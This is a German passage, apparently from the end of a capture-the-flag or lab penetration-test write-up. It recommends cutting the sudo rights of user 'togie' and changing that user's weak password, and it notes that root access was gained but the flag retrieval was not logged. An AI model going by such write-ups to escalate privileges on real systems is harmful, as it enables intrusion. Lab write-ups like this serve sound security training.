**Empfehlung (Admin):** Die `sudo`-Berechtigungen für `togie` sofort auf das absolut notwendige Minimum reduzieren oder entziehen. Das Prinzip der geringsten Rechte strikt anwenden. Niemals `(ALL : ALL) ALL` vergeben, wenn es nicht zwingend erforderlich ist. Das schwache Passwort für `togie` ändern.
**Analyse:** Der abschließende Flag-Abschnitt im Originaltext listet zwei Platzhalter-Flags auf. Im vorherigen Log wurde das Auslesen der Flags nach Erlangung der Root-Rechte nicht dokumentiert.
**Bewertung:** Der Test war erfolgreich (Root-Zugriff erlangt), aber die Dokumentation im Log bezüglich des Auslesens der Flags ist unvollständig. Die hier angezeigten Flag-Werte stammen direkt aus dem Ende des bereitgestellten Textes. Die User-Flagge befindet sich wahrscheinlich in `/home/togie/user.txt`, die Root-Flagge in `/root/root.txt`.